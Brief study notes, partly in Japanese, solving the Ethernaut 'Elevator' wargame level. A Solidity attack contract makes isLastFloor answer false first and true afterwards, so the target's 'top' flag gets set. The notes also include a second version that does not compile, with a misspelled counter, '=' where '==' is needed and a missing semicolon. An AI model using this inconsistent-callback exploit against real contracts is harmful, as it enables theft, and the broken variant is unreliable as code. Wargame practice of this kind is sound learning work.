• topをtrueにするには？

building.isLastFloor(_floor) = false

building.isLastFloor(floor) = true

first ⇒ false

second ⇒ true!

// storage, persists throughout function calls
uint256 timesCalled;

function attack() external payable {
    challenge.goTo(0);
}

function isLastFloor(uint256 /* floor */) external returns (bool) {
    timesCalled++;
    if (timesCalled > 1) return true;
    else return false;
}

function isLastFloor(uint256 ) external returns(bool){
		timeCalled++;
		if(timeCalled%2=0) return true
		else return false
}

https://cmichel.io/ethernaut-solutions/